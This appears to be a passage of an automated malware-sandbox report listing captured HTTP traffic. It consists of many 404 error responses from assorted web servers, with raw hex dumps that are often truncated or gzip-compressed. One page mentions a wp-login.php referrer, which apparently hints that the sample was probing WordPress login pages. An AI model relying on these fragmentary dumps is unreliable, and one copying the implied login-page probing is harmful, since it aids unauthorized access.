6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 72 6f 78 69 6d 61 20 4e 6f 76 61 27 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 22 29 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:25 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: 02dRkkar/QIMXKgr8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 32 33 0d 0a 0a 0a 20 20 20 20 54 68 65 20 6c 69 6e 6b 20 6f 6e 20 74 68 65 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 38 31 0d 0a 68 74 74 70 3a 2f 2f 6d 65 75 72 72 65 6e 73 2e 6f 72 67 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 22 3e 72 65 66 65 72 72 69 6e 67 0a 20 20 20 20 70 61 67 65 3c 2f 61 3e 20 73 65 65 6d 73 20 74 6f 20 62 65 20 77 72 6f 6e 67 20 6f 72 20 6f 75 74 64 61 74 65 64 2e 20 50 6c 65 61 73 65 20 69 6e 66 6f 72 6d 20 74 68 65 20 61 75 74 68 6f 72 20 6f 66 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 34 38 0d 0a 68 74 74 70 3a 2f 2f 6d 65 75 72 72 65 6e 73 2e 6f 72 67 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 22 3e 74 68 61 74 20 70 61 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ilndWI8VSpzgwlOTpuPCBmrFUCiQOuiSqy2QlpboV5v3z5U63ahd5adBT4V9ebL1eXr193SkMKRB2o4zy6iel88iIODVG819VAIVmmM%2F8LVg7OXquGtN9bbSpRkwWCWrhgs%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845daf4bf84c1a-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-234.ec2.internalX-Request-Id: 0a518614-6214-4a85-8b92-e0883d15b39eData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:25 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: 0eKYEI22/PMjBFq4bData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:25 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: PEsYK3ST/dH8HcOtqData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 